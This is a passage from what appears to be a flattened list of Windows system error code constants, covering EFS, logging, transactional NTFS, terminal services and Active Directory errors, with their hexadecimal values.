ENCRYPTION_FAILED = 0x1770 + DECRYPTION_FAILED = 0x1771 + FILE_ENCRYPTED = 0x1772 + NO_RECOVERY_POLICY = 0x1773 + NO_EFS = 0x1774 + WRONG_EFS = 0x1775 + NO_USER_KEYS = 0x1776 + FILE_NOT_ENCRYPTED = 0x1777 + NOT_EXPORT_FORMAT = 0x1778 + FILE_READ_ONLY = 0x1779 + DIR_EFS_DISALLOWED = 0x177A + EFS_SERVER_NOT_TRUSTED = 0x177B + BAD_RECOVERY_POLICY = 0x177C + EFS_ALG_BLOB_TOO_BIG = 0x177D + VOLUME_NOT_SUPPORT_EFS = 0x177E + EFS_DISABLED = 0x177F + EFS_VERSION_NOT_SUPPORT = 0x1780 + CS_ENCRYPTION_INVALID_SERVER_RESPONSE = 0x1781 + CS_ENCRYPTION_UNSUPPORTED_SERVER = 0x1782 + CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE = 0x1783 + CS_ENCRYPTION_NEW_ENCRYPTED_FILE = 0x1784 + CS_ENCRYPTION_FILE_NOT_CSE = 0x1785 + NO_BROWSER_SERVERS_FOUND = 0x17E6 + SCHED_E_SERVICE_NOT_LOCALSYSTEM = 0x1838 + LOG_SECTOR_INVALID = 0x19C8 + LOG_SECTOR_PARITY_INVALID = 0x19C9 + LOG_SECTOR_REMAPPED = 0x19CA + LOG_BLOCK_INCOMPLETE = 0x19CB + LOG_INVALID_RANGE = 0x19CC + LOG_BLOCKS_EXHAUSTED = 0x19CD + LOG_READ_CONTEXT_INVALID = 0x19CE + LOG_RESTART_INVALID = 0x19CF + LOG_BLOCK_VERSION = 0x19D0 + LOG_BLOCK_INVALID = 0x19D1 + LOG_READ_MODE_INVALID = 0x19D2 + LOG_NO_RESTART = 0x19D3 + LOG_METADATA_CORRUPT = 0x19D4 + LOG_METADATA_INVALID = 0x19D5 + LOG_METADATA_INCONSISTENT = 0x19D6 + LOG_RESERVATION_INVALID = 0x19D7 + LOG_CANT_DELETE = 0x19D8 + LOG_CONTAINER_LIMIT_EXCEEDED = 0x19D9 + LOG_START_OF_LOG = 0x19DA + LOG_POLICY_ALREADY_INSTALLED = 0x19DB + LOG_POLICY_NOT_INSTALLED = 0x19DC + LOG_POLICY_INVALID = 0x19DD + LOG_POLICY_CONFLICT = 0x19DE + LOG_PINNED_ARCHIVE_TAIL = 0x19DF + LOG_RECORD_NONEXISTENT = 0x19E0 + LOG_RECORDS_RESERVED_INVALID = 0x19E1 + LOG_SPACE_RESERVED_INVALID = 0x19E2 + LOG_TAIL_INVALID = 0x19E3 + LOG_FULL = 0x19E4 + COULD_NOT_RESIZE_LOG = 0x19E5 + LOG_MULTIPLEXED = 0x19E6 + LOG_DEDICATED = 0x19E7 + LOG_ARCHIVE_NOT_IN_PROGRESS = 0x19E8 + LOG_ARCHIVE_IN_PROGRESS = 0x19E9 + LOG_EPHEMERAL = 0x19EA + LOG_NOT_ENOUGH_CONTAINERS = 0x19EB + LOG_CLIENT_ALREADY_REGISTERED = 0x19EC + LOG_CLIENT_NOT_REGISTERED = 0x19ED + LOG_FULL_HANDLER_IN_PROGRESS = 0x19EE + LOG_CONTAINER_READ_FAILED = 0x19EF + LOG_CONTAINER_WRITE_FAILED = 0x19F0 + LOG_CONTAINER_OPEN_FAILED = 0x19F1 + LOG_CONTAINER_STATE_INVALID = 0x19F2 + LOG_STATE_INVALID = 0x19F3 + LOG_PINNED = 0x19F4 + LOG_METADATA_FLUSH_FAILED = 0x19F5 + LOG_INCONSISTENT_SECURITY = 0x19F6 + LOG_APPENDED_FLUSH_FAILED = 0x19F7 + LOG_PINNED_RESERVATION = 0x19F8 + INVALID_TRANSACTION = 0x1A2C + TRANSACTION_NOT_ACTIVE = 0x1A2D + TRANSACTION_REQUEST_NOT_VALID = 0x1A2E + TRANSACTION_NOT_REQUESTED = 0x1A2F + TRANSACTION_ALREADY_ABORTED = 0x1A30 + TRANSACTION_ALREADY_COMMITTED = 0x1A31 + TM_INITIALIZATION_FAILED = 0x1A32 + RESOURCEMANAGER_READ_ONLY = 0x1A33 + TRANSACTION_NOT_JOINED = 0x1A34 + TRANSACTION_SUPERIOR_EXISTS = 0x1A35 + CRM_PROTOCOL_ALREADY_EXISTS = 0x1A36 + TRANSACTION_PROPAGATION_FAILED = 0x1A37 + CRM_PROTOCOL_NOT_FOUND = 0x1A38 + TRANSACTION_INVALID_MARSHALL_BUFFER = 0x1A39 + CURRENT_TRANSACTION_NOT_VALID = 0x1A3A + TRANSACTION_NOT_FOUND = 0x1A3B + RESOURCEMANAGER_NOT_FOUND = 0x1A3C + ENLISTMENT_NOT_FOUND = 0x1A3D + TRANSACTIONMANAGER_NOT_FOUND = 0x1A3E + TRANSACTIONMANAGER_NOT_ONLINE = 0x1A3F + TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION = 0x1A40 + TRANSACTION_NOT_ROOT = 0x1A41 + TRANSACTION_OBJECT_EXPIRED = 0x1A42 + TRANSACTION_RESPONSE_NOT_ENLISTED = 0x1A43 + TRANSACTION_RECORD_TOO_LONG = 0x1A44 + IMPLICIT_TRANSACTION_NOT_SUPPORTED = 0x1A45 + TRANSACTION_INTEGRITY_VIOLATED = 0x1A46 + TRANSACTIONMANAGER_IDENTITY_MISMATCH = 0x1A47 + RM_CANNOT_BE_FROZEN_FOR_SNAPSHOT = 0x1A48 + TRANSACTION_MUST_WRITETHROUGH = 0x1A49 + TRANSACTION_NO_SUPERIOR = 0x1A4A + HEURISTIC_DAMAGE_POSSIBLE = 0x1A4B + TRANSACTIONAL_CONFLICT = 0x1A90 + RM_NOT_ACTIVE = 0x1A91 + RM_METADATA_CORRUPT = 0x1A92 + DIRECTORY_NOT_RM = 0x1A93 + TRANSACTIONS_UNSUPPORTED_REMOTE = 0x1A95 + LOG_RESIZE_INVALID_SIZE = 0x1A96 + OBJECT_NO_LONGER_EXISTS = 0x1A97 + STREAM_MINIVERSION_NOT_FOUND = 0x1A98 + STREAM_MINIVERSION_NOT_VALID = 0x1A99 + MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION = 0x1A9A + CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT = 0x1A9B + CANT_CREATE_MORE_STREAM_MINIVERSIONS = 0x1A9C + REMOTE_FILE_VERSION_MISMATCH = 0x1A9E + HANDLE_NO_LONGER_VALID = 0x1A9F + NO_TXF_METADATA = 0x1AA0 + LOG_CORRUPTION_DETECTED = 0x1AA1 + CANT_RECOVER_WITH_HANDLE_OPEN = 0x1AA2 + RM_DISCONNECTED = 0x1AA3 + ENLISTMENT_NOT_SUPERIOR = 0x1AA4 + RECOVERY_NOT_NEEDED = 0x1AA5 + RM_ALREADY_STARTED = 0x1AA6 + FILE_IDENTITY_NOT_PERSISTENT = 0x1AA7 + CANT_BREAK_TRANSACTIONAL_DEPENDENCY = 0x1AA8 + CANT_CROSS_RM_BOUNDARY = 0x1AA9 + TXF_DIR_NOT_EMPTY = 0x1AAA + INDOUBT_TRANSACTIONS_EXIST = 0x1AAB + TM_VOLATILE = 0x1AAC + ROLLBACK_TIMER_EXPIRED = 0x1AAD + TXF_ATTRIBUTE_CORRUPT = 0x1AAE + EFS_NOT_ALLOWED_IN_TRANSACTION = 0x1AAF + TRANSACTIONAL_OPEN_NOT_ALLOWED = 0x1AB0 + LOG_GROWTH_FAILED = 0x1AB1 + TRANSACTED_MAPPING_UNSUPPORTED_REMOTE = 0x1AB2 + TXF_METADATA_ALREADY_PRESENT = 0x1AB3 + TRANSACTION_SCOPE_CALLBACKS_NOT_SET = 0x1AB4 + TRANSACTION_REQUIRED_PROMOTION = 0x1AB5 + CANNOT_EXECUTE_FILE_IN_TRANSACTION = 0x1AB6 + TRANSACTIONS_NOT_FROZEN = 0x1AB7 + TRANSACTION_FREEZE_IN_PROGRESS = 0x1AB8 + NOT_SNAPSHOT_VOLUME = 0x1AB9 + NO_SAVEPOINT_WITH_OPEN_FILES = 0x1ABA + DATA_LOST_REPAIR = 0x1ABB + SPARSE_NOT_ALLOWED_IN_TRANSACTION = 0x1ABC + TM_IDENTITY_MISMATCH = 0x1ABD + FLOATED_SECTION = 0x1ABE + CANNOT_ACCEPT_TRANSACTED_WORK = 0x1ABF + CANNOT_ABORT_TRANSACTIONS = 0x1AC0 + BAD_CLUSTERS = 0x1AC1 + COMPRESSION_NOT_ALLOWED_IN_TRANSACTION = 0x1AC2 + VOLUME_DIRTY = 0x1AC3 + NO_LINK_TRACKING_IN_TRANSACTION = 0x1AC4 + OPERATION_NOT_SUPPORTED_IN_TRANSACTION = 0x1AC5 + EXPIRED_HANDLE = 0x1AC6 + TRANSACTION_NOT_ENLISTED = 0x1AC7 + CTX_WINSTATION_NAME_INVALID = 0x1B59 + CTX_INVALID_PD = 0x1B5A + CTX_PD_NOT_FOUND = 0x1B5B + CTX_WD_NOT_FOUND = 0x1B5C + CTX_CANNOT_MAKE_EVENTLOG_ENTRY = 0x1B5D + CTX_SERVICE_NAME_COLLISION = 0x1B5E + CTX_CLOSE_PENDING = 0x1B5F + CTX_NO_OUTBUF = 0x1B60 + CTX_MODEM_INF_NOT_FOUND = 0x1B61 + CTX_INVALID_MODEMNAME = 0x1B62 + CTX_MODEM_RESPONSE_ERROR = 0x1B63 + CTX_MODEM_RESPONSE_TIMEOUT = 0x1B64 + CTX_MODEM_RESPONSE_NO_CARRIER = 0x1B65 + CTX_MODEM_RESPONSE_NO_DIALTONE = 0x1B66 + CTX_MODEM_RESPONSE_BUSY = 0x1B67 + CTX_MODEM_RESPONSE_VOICE = 0x1B68 + CTX_TD_ERROR = 0x1B69 + CTX_WINSTATION_NOT_FOUND = 0x1B6E + CTX_WINSTATION_ALREADY_EXISTS = 0x1B6F + CTX_WINSTATION_BUSY = 0x1B70 + CTX_BAD_VIDEO_MODE = 0x1B71 + CTX_GRAPHICS_INVALID = 0x1B7B + CTX_LOGON_DISABLED = 0x1B7D + CTX_NOT_CONSOLE = 0x1B7E + CTX_CLIENT_QUERY_TIMEOUT = 0x1B80 + CTX_CONSOLE_DISCONNECT = 0x1B81 + CTX_CONSOLE_CONNECT = 0x1B82 + CTX_SHADOW_DENIED = 0x1B84 + CTX_WINSTATION_ACCESS_DENIED = 0x1B85 + CTX_INVALID_WD = 0x1B89 + CTX_SHADOW_INVALID = 0x1B8A + CTX_SHADOW_DISABLED = 0x1B8B + CTX_CLIENT_LICENSE_IN_USE = 0x1B8C + CTX_CLIENT_LICENSE_NOT_SET = 0x1B8D + CTX_LICENSE_NOT_AVAILABLE = 0x1B8E + CTX_LICENSE_CLIENT_INVALID = 0x1B8F + CTX_LICENSE_EXPIRED = 0x1B90 + CTX_SHADOW_NOT_RUNNING = 0x1B91 + CTX_SHADOW_ENDED_BY_MODE_CHANGE = 0x1B92 + ACTIVATION_COUNT_EXCEEDED = 0x1B93 + CTX_WINSTATIONS_DISABLED = 0x1B94 + CTX_ENCRYPTION_LEVEL_REQUIRED = 0x1B95 + CTX_SESSION_IN_USE = 0x1B96 + CTX_NO_FORCE_LOGOFF = 0x1B97 + CTX_ACCOUNT_RESTRICTION = 0x1B98 + RDP_PROTOCOL_ERROR = 0x1B99 + CTX_CDM_CONNECT = 0x1B9A + CTX_CDM_DISCONNECT = 0x1B9B + CTX_SECURITY_LAYER_ERROR = 0x1B9C + TS_INCOMPATIBLE_SESSIONS = 0x1B9D + TS_VIDEO_SUBSYSTEM_ERROR = 0x1B9E + FRS_ERR_INVALID_API_SEQUENCE = 0x1F41 + FRS_ERR_STARTING_SERVICE = 0x1F42 + FRS_ERR_STOPPING_SERVICE = 0x1F43 + FRS_ERR_INTERNAL_API = 0x1F44 + FRS_ERR_INTERNAL = 0x1F45 + FRS_ERR_SERVICE_COMM = 0x1F46 + FRS_ERR_INSUFFICIENT_PRIV = 0x1F47 + FRS_ERR_AUTHENTICATION = 0x1F48 + FRS_ERR_PARENT_INSUFFICIENT_PRIV = 0x1F49 + FRS_ERR_PARENT_AUTHENTICATION = 0x1F4A + FRS_ERR_CHILD_TO_PARENT_COMM = 0x1F4B + FRS_ERR_PARENT_TO_CHILD_COMM = 0x1F4C + FRS_ERR_SYSVOL_POPULATE = 0x1F4D + FRS_ERR_SYSVOL_POPULATE_TIMEOUT = 0x1F4E + FRS_ERR_SYSVOL_IS_BUSY = 0x1F4F + FRS_ERR_SYSVOL_DEMOTE = 0x1F50 + FRS_ERR_INVALID_SERVICE_PARAMETER = 0x1F51 + DS_NOT_INSTALLED = 0x2008 + DS_MEMBERSHIP_EVALUATED_LOCALLY = 0x2009 + DS_NO_ATTRIBUTE_OR_VALUE = 0x200A + DS_INVALID_ATTRIBUTE_SYNTAX = 0x200B + DS_ATTRIBUTE_TYPE_UNDEFINED = 0x200C + DS_ATTRIBUTE_OR_VALUE_EXISTS = 0x200D + DS_BUSY = 0x200E + DS_UNAVAILABLE = 0x200F + DS_NO_RIDS_ALLOCATED = 0x2010 + DS_NO_MORE_RIDS = 0x2011 + DS_INCORRECT_ROLE_OWNER = 0x2012 + DS_RIDMGR_INIT_ERROR = 0x2013 + DS_OBJ_CLASS_VIOLATION = 0x2014 + DS_CANT_ON_NON_LEAF = 0x2015 + DS_CANT_ON_RDN = 0x2016 + DS_CANT_MOD_OBJ_CLASS = 0x2017 + DS_CROSS_DOM_MOVE_ERROR = 0x2018 + DS_GC_NOT_AVAILABLE = 0x2019 + SHARED_POLICY = 0x201A + POLICY_OBJECT_NOT_FOUND = 0x201B + POLICY_ONLY_IN_DS = 0x201C + PROMOTION_ACTIVE = 0x201D + NO_PROMOTION_ACTIVE = 0x201E + DS_OPERATIONS_ERROR = 0x2020 + DS_PROTOCOL_ERROR = 0x2021 + DS_TIMELIMIT_EXCEEDED = 0x2022 + DS_SIZELIMIT_EXCEEDED = 0x2023 + DS_ADMIN_LIMIT_EXCEEDED = 0x2024 + DS_COMPARE_FALSE = 0x2025 + DS_COMPARE_TRUE = 0x2026 + DS_AUTH_METHOD_NOT_SUPPORTED = 0x2027 + DS_STRONG_AUTH_REQUIRED = 0x2028 + DS_INAPPROPRIATE_AUTH = 0x2029 + DS_AUTH_UNKNOWN = 0x202A + DS_REFERRAL = 0x202B + DS_UNAVAILABLE_CRIT_EXTENSION = 0x202C + DS_CONFIDENTIALITY_REQUIRED = 0x202D + DS_INAPPROPRIATE_MATCHING = 0x202E + DS_CONSTRAINT_VIOLATION = 0x202F + DS_NO_SUCH_OBJECT = 0x2030 + DS_ALIAS_PROBLEM = 0x2031 + DS_INVALID_DN_SYNTAX = 0x2032 + DS_IS_LEAF = 0x2033 + DS_ALIAS_DEREF_PROBLEM = 0x2034 + DS_UNWILLING_TO_PERFORM = 0x2035 + DS_LOOP_DETECT = 0x2036 + DS_NAMING_VIOLATION = 0x2037 + DS_OBJECT_RESULTS_TOO_LARGE = 0x2038 + DS_AFFECTS_MULTIPLE_DSAS = 0x2039 + DS_SERVER_DOWN = 0x203A + DS_LOCAL_ERROR = 0x203B + DS_ENCODING_ERROR = 0x203C + DS_DECODING_ERROR = 0x203D + DS_FILTER_UNKNOWN = 0x203E + DS_PARAM_ERROR = 0x203F + DS_NOT_SUPPORTED = 0x2040 + DS_NO_RESULTS_RETURNED = 0x2041 + DS_CONTROL_NOT_FOUND = 0x2042 + DS_CLIENT_LOOP = 0x2043 + DS_REFERRAL_LIMIT_EXCEEDED = 0x2044 + DS_SORT_CONTROL_MISSING = 0x2045 + DS_OFFSET_RANGE_ERROR = 0x2046 + DS_ROOT_MUST_BE_NC = 0x206D + DS_ADD_REPLICA_INHIBITED = 0x206E + DS_ATT_NOT_DEF_IN_SCHEMA = 0x206F + DS_MAX_OBJ_SIZE_EXCEEDED = 0x2070 + DS_OBJ_STRING_NAME_EXISTS = 0x2071 + DS_NO_RDN_DEFINED_IN_SCHEMA = 0x2072 + DS_RDN_DOESNT_MATCH_SCHEMA = 0x2073 + DS_NO_REQUESTED_ATTS_FOUND = 0x2074 + DS_USER_BUFFER_TO_SMALL = 0x2075 + DS_ATT_IS_NOT_ON_OBJ = 0x2076 + DS_ILLEGAL_MOD_OPERATION = 0x2077 + DS_OBJ_TOO_LARGE = 0x2078 + DS_BAD_INSTANCE_TYPE = 0x2079 + DS_MASTERDSA_REQUIRED = 0x207A + DS_OBJECT_CLASS_REQUIRED = 0x207B + DS_MISSING_REQUIRED_ATT = 0x207C + DS_ATT_NOT_DEF_FOR_CLASS = 0x207D + DS_ATT_ALREADY_EXISTS = 0x207E + DS_CANT_ADD_ATT_VALUES = 0x2080 + DS_SINGLE_VALUE_CONSTRAINT = 0x2081 + DS_RANGE_CONSTRAINT = 0x2082 + DS_ATT_VAL_ALREADY_EXISTS = 0x2083 + DS_CANT_REM_MISSING_ATT = 0x2084 + DS_CANT_REM_MISSING_ATT_VAL = 0x2085 + DS_ROOT_CANT_BE_SUBREF = 0x2086 + DS_NO_CHAINING = 0x2087 + DS_NO_CHAINED_EVAL = 0x2088 + DS_NO_PARENT_OBJECT = 0x2089 + DS_PARENT_IS_AN_ALIAS = 0x208A + DS_CANT_MIX_MASTER_AND_REPS = 0x208B + DS_CHILDREN_EXIST = 0x208C + DS_OBJ_NOT_FOUND = 0x208D + DS_ALIASED_OBJ_MISSING = 0x208E + DS_BAD_NAME_SYNTAX = 0x208F + DS_ALIAS_POINTS_TO_ALIAS = 0x2090 + DS_CANT_DEREF_ALIAS = 0x2091 + DS_OUT_OF_SCOPE = 0x2092 + DS_CANT_DELETE_DSA_OBJ = 0x2094 + DS_GENERIC_ERROR = 0x2095 + DS_DSA_MUST_BE_INT_MASTER = 0x2096 + DS_CLASS_NOT_DSA = 0x2097 + DS_INSUFF_ACCESS_RIGHTS = 0x2098 + DS_ILLEGAL_SUPERIOR = 0x2099 + DS_ATTRIBUTE_OWNED_BY_SAM = 0x209A + DS_NAME_TOO_MANY_PARTS = 0x209B + DS_NAME_TOO_LONG = 0x209C + DS_NAME_VALUE_TOO_LONG = 0x209D + DS_NAME_UNPARSEABLE = 0x209E + DS_NAME_TYPE_UNKNOWN = 0x209F + DS_NOT_AN_OBJECT = 0x20A0 + DS_SEC_DESC_TOO_SHORT = 0x20A1 + DS_SEC_DESC_INVALID = 0x20A2 + DS_NO_DELETED_NAME = 0x20A3 + DS_SUBREF_MUST_HAVE_PARENT = 0x20A4 + DS_NCNAME_MUST_BE_NC = 0x20A5 + DS_CANT_ADD_SYSTEM_ONLY = 0x20A6 + DS_CLASS_MUST_BE_CONCRETE = 0x20A7 + DS_INVALID_DMD = 0x20A8 + DS_OBJ_GUID_EXISTS = 0x20A9 + DS_NOT_ON_BACKLINK = 0x20AA + DS_NO_CROSSREF_FOR_NC = 0x20AB + DS_SHUTTING_DOWN = 0x20AC + DS_UNKNOWN_OPERATION = 0x20AD + DS_INVALID_ROLE_OWNER = 0x20AE + DS_COULDNT_CONTACT_FSMO = 0x20AF + DS_CROSS_NC_DN_RENAME = 0x20B0 + DS_CANT_MOD_SYSTEM_ONLY = 0x20B1 + DS_REPLICATOR_ONLY = 0x20B2 + DS_OBJ_CLASS_NOT_DEFINED = 0x20B3 + DS_OBJ_CLASS_NOT_SUBCLASS = 0x20B4 + DS_NAME_REFERENCE_INVALID = 0x20B5 + DS_CROSS_REF_EXISTS = 0x20B6 + DS_CANT_DEL_MASTER_CROSSREF = 0x20B7 + DS_SUBTREE_NOTIFY_NOT_NC_HEAD = 0x20B8 + DS_NOTIFY_FILTER_TOO_COMPLEX = 0x20B9 + DS_DUP_RDN = 0x20BA + DS_DUP_OID = 0x20BB + DS_DUP_MAPI_ID = 0x20BC + DS_DUP_SCHEMA_ID_GUID = 0x20BD + DS_DUP_LDAP_DISPLAY_NAME = 0x20BE + DS_SEMANTIC_ATT_TEST = 0x20BF + DS_SYNTAX_MISMATCH = 0x20C0 + DS_EXISTS_IN_MUST_HAVE = 0x20C1 + DS_EXISTS_IN_MAY_HAVE = 0x20C2 + DS_NONEXISTENT_MAY_HAVE = 0x20C3 + DS_NONEXISTENT_MUST_HAVE = 0x20C4 + DS_AUX_CLS_TEST_FAIL = 0x20C5 + DS_NONEXISTENT_POSS_SUP = 0x20C6 + DS_SUB_CLS_TEST_FAIL = 0x20C7 + DS_BAD_RDN_ATT_ID_SYNTAX = 0x20C8 + DS_EXISTS_IN_AUX_CLS = 0x20C9 + DS_EXISTS_IN_SUB_CLS = 0x20CA + DS_EXISTS_IN_POSS_SUP = 0x20CB + DS_RECALCSCHEMA_FAILED = 0x20CC + DS_TREE_DELETE_NOT_FINISHED = 0x20CD + DS_CANT_DELETE = 0x20CE + DS_ATT_SCHEMA_REQ_ID = 0x20CF + DS_BAD_ATT_SCHEMA_SYNTAX = 0x20D0 + DS_CANT_CACHE_ATT = 0x20D1 + DS_CANT_CACHE_CLASS = 0x20D2 + DS_CANT_REMOVE_ATT_CACHE = 0x20D3 + DS_CANT_REMOVE_CLASS_CACHE = 0x20D4 + DS_CANT_RETRIEVE_DN = 0x20D5 + DS_MISSING_SUPREF = 0x20D6 + DS_CANT_RETRIEVE_INSTANCE = 0x20D7 + DS_CODE_INCONSISTENCY = 0x20D8 + DS_DATABASE_ERROR = 0x20D9 + DS_GOVERNSID_MISSING = 0x20DA + DS_MISSING_EXPECTED_ATT = 0x20DB + DS_NCNAME_MISSING_CR_REF = 0x20DC + DS_SECURITY_CHECKING_ERROR = 0x20DD + DS_SCHEMA_NOT_LOADED = 0x20DE + DS_SCHEMA_ALLOC_FAILED = 0x20DF + DS_ATT_SCHEMA_REQ_SYNTAX = 0x20E0 + DS_GCVERIFY_ERROR = 0x20E1 + DS_DRA_SCHEMA_MISMATCH = 0x20E2 + DS_CANT_FIND_DSA_OBJ = 0x20E3 + DS_CANT_FIND_EXPECTED_NC = 0x20E4 + DS_CANT_FIND_NC_IN_CACHE = 0x20E5 + DS_CANT_RETRIEVE_CHILD = 0x20E6 + DS_SECURITY_ILLEGAL_MODIFY = 0x20E7 + DS_CANT_REPLACE_HIDDEN_REC = 0x20E8 + DS_BAD_HIERARCHY_FILE = 0x20E9 + DS_BUILD_HIERARCHY_TABLE_FAILED = 0x20EA + DS_CONFIG_PARAM_MISSING = 0x20EB + DS_COUNTING_AB_INDICES_FAILED = 0x20EC + DS_HIERARCHY_TABLE_MALLOC_FAILED = 0x20ED + DS_INTERNAL_FAILURE = 0x20EE + DS_UNKNOWN_ERROR = 0x20EF + DS_ROOT_REQUIRES_CLASS_TOP = 0x20F0 + DS_REFUSING_FSMO_ROLES = 0x20F1 + DS_MISSING_FSMO_SETTINGS = 0x20F2 + DS_UNABLE_TO_SURRENDER_ROLES = 0x20F3 + DS_DRA_GENERIC = 0x20F4 + DS_DRA_INVALID_PARAMETER = 0x20F5 + DS_DRA_BUSY = 0x20F6 + DS_DRA_BAD_DN = 0x20F7 + DS_DRA_BAD_NC = 0x20F8 + DS_DRA_DN_EXISTS = 0x20F9 + DS_DRA_INTERNAL_ERROR = 0x20FA + DS_DRA_INCONSISTENT_DIT = 0x20FB + DS_DRA_CONNECTION_FAILED = 0x20FC + DS_DRA_BAD_INSTANCE_TYPE = 0x20FD + DS_DRA_OUT_OF_MEM = 0x20FE + DS_DRA_MAIL_PROBLEM = 0x20FF + DS_DRA_REF_ALREADY_EXISTS = 0x2100 + DS_DRA_REF_NOT_FOUND = 0x2101 + DS_DRA_OBJ_IS_REP_SOURCE = 0x2102 + DS_DRA_DB_ERROR = 0x2103 + DS_DRA_NO_REPLICA = 0x2104 + DS_DRA_ACCESS_DENIED = 0x2105 + DS_DRA_NOT_SUPPORTED = 0x2106 + DS_DRA_RPC_CANCELLED = 0x2107 + DS_DRA_SOURCE_DISABLED = 0x2108 + DS_DRA_SINK_DISABLED = 0x2109 + DS_DRA_NAME_COLLISION = 0x210A + DS_DRA_SOURCE_REINSTALLED = 0x210B + DS_DRA_MISSING_PARENT = 0x210C + DS_DRA_PREEMPTED = 0x210D + DS_DRA_ABANDON_SYNC = 0x210E + DS_DRA_SHUTDOWN = 0x210F + DS_DRA_INCOMPATIBLE_PARTIAL_SET = 0x2110 + DS_DRA_SOURCE_IS_PARTIAL_REPLICA = 0x2111 + DS_DRA_EXTN_CONNECTION_FAILED = 0x2112 + DS_INSTALL_SCHEMA_MISMATCH = 0x2113 + DS_DUP_LINK_ID = 0x2114 + DS_NAME_RESOLVING = 0x2115 + DS_NAME_NOT_FOUND = 0x2116 + DS_NAME_ERROR_NOT_UNIQUE = 0x2117 + DS_NAME_NO_MAPPING = 0x2118 + DS_NAME_DOMAIN_ONLY = 0x2119 + DS_NAME_NO_SYNTACTICAL_MAPPING = 0x211A + DS_CONSTRUCTED_ATT_MOD = 0x211B + DS_WRONG_OM_OBJ_CLASS = 0x211C + DS_DRA_REPL_PENDING = 0x211D + DS_DS_REQUIRED = 0x211E + DS_INVALID_LDAP_DISPLAY_NAME = 0x211F + DS_NON_BASE_SEARCH = 0x2120 + DS_CANT_RETRIEVE_ATTS = 0x2121 + DS_BACKLINK_WITHOUT_LINK = 0x2122 + DS_EPOCH_MISMATCH = 0x2123 + DS_SRC_NAME_MISMATCH = 0x2124 + DS_SRC_AND_DST_NC_IDENTICAL = 0x2125 + DS_DST_NC_MISMATCH = 0x2126 + DS_NOT_AUTHORITIVE_FOR_DST_NC = 0x2127 + DS_SRC_GUID_MISMATCH = 0x2128 + DS_CANT_MOVE_DELETED_OBJECT = 0x2129 + DS_PDC_OPERATION_IN_PROGRESS = 0x212A + DS_CROSS_DOMAIN_CLEANUP_REQD = 0x212B + DS_ILLEGAL_XDOM_MOVE_OPERATION = 0x212C + DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS = 0x212D + DS_NC_MUST_HAVE_NC_PARENT = 0x212E + DS_CR_IMPOSSIBLE_TO_VALIDATE = 0x212F + DS_DST_DOMAIN_NOT_NATIVE = 0x2130 + DS_MISSING_INFRASTRUCTURE_CONTAINER = 0x2131 + DS_CANT_MOVE_ACCOUNT_GROUP = 0x2132 + DS_CANT_MOVE_RESOURCE_GROUP = 0x2133 + DS_INVALID_SEARCH_FLAG = 0x2134 + DS_NO_TREE_DELETE_ABOVE_NC = 0x2135 + DS_COULDNT_LOCK_TREE_FOR_DELETE = 0x2136 + DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE = 0x2137 + DS_SAM_INIT_FAILURE = 0x2138 + DS_SENSITIVE_GROUP_VIOLATION = 0x2139 + DS_CANT_MOD_PRIMARYGROUPID = 0x213A + DS_ILLEGAL_BASE_SCHEMA_MOD = 0x213B + DS_NONSAFE_SCHEMA_CHANGE = 0x213C + DS_SCHEMA_UPDATE_DISALLOWED = 0x213D + DS_CANT_CREATE_UNDER_SCHEMA = 0x213E + DS_INSTALL_NO_SRC_SCH_VERSION = 0x213F + DS_INSTALL_NO_SCH_VERSION_IN_INIFILE = 0x2140 + DS_INVALID_GROUP_TYPE = 0x2141 + DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN = 0x2142 + DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN = 0x2143 + DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER = 0x2144 + DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER = 0x2145 + DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER = 0x2146 + DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER = 0x2147 + DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER = 0x2148 + DS_HAVE_PRIMARY_MEMBERS = 0x2149 + DS_STRING_SD_CONVERSION_FAILED = 0x214A + DS_NAMING_MASTER_GC = 0x214B + DS_LOOKUP_FAILURE = 0x214C + DS_COULDNT_UPDATE_SPNS = 0x214D + DS_CANT_RETRIEVE_SD = 0x214E + DS_KEY_NOT_UNIQUE = 0x214F + DS_WRONG_LINKED_ATT_SYNTAX = 0x2150 + DS_SAM_NEED_BOOTKEY_PASSWORD = 0x2151 + DS_SAM_NEED_BOOTKEY_FLOPPY = 0x2152 + DS_CANT_START = 0x2153 + DS_INIT_FAILURE = 0x2154 + DS_NO_PKT_PRIVACY_ON_CONNECTION = 0x2155 + DS_SOURCE_DOMAIN_IN_FOREST = 0x2156 + DS_DESTINATION_DOMAIN_NOT_IN_FOREST = 0x2157 + DS_DESTINATION_AUDITING_NOT_ENABLED = 0x2158 + DS_CANT_FIND_DC_FOR_SRC_DOMAIN = 0x2159 + DS_SRC_OBJ_NOT_GROUP_OR_USER = 0x215A + DS_SRC_SID_EXISTS_IN_FOREST = 0x215B + DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH = 0x215C + SAM_INIT_FAILURE = 0x215D + DS_DRA_SCHEMA_INFO_SHIP = 0x215E + DS_DRA_SCHEMA_CONFLICT = 0x215F + DS_DRA_EARLIER_SCHEMA_CONLICT = 0x2160 + DS_DRA_OBJ_NC_MISMATCH = 0x2161 + DS_NC_STILL_HAS_DSAS = 0x2162 + DS_GC_REQUIRED = 0x2163 + DS_LOCAL_MEMBER_OF_LOCAL_ONLY = 0x2164 + DS_NO_FPO_IN_UNIVERSAL_GROUPS = 0x2165 + DS_CANT_ADD_TO_GC = 0x2166 + DS_NO_CHECKPOINT_WITH_PDC = 0x2167 + DS_SOURCE_AUDITING_NOT_ENABLED = 0x2168 + DS_CANT_CREATE_IN_NONDOMAIN_NC = 0x2169 + DS_INVALID_NAME_FOR_SPN = 0x216A + DS_FILTER_USES_CONTRUCTED_ATTRS = 0x216B + DS_UNICODEPWD_NOT_IN_QUOTES = 0x216C + DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED = 0x216D + DS_MUST_BE_RUN_ON_DST_DC = 0x216E + DS_SRC_DC_MUST_BE_SP4_OR_GREATER = 0x216F + 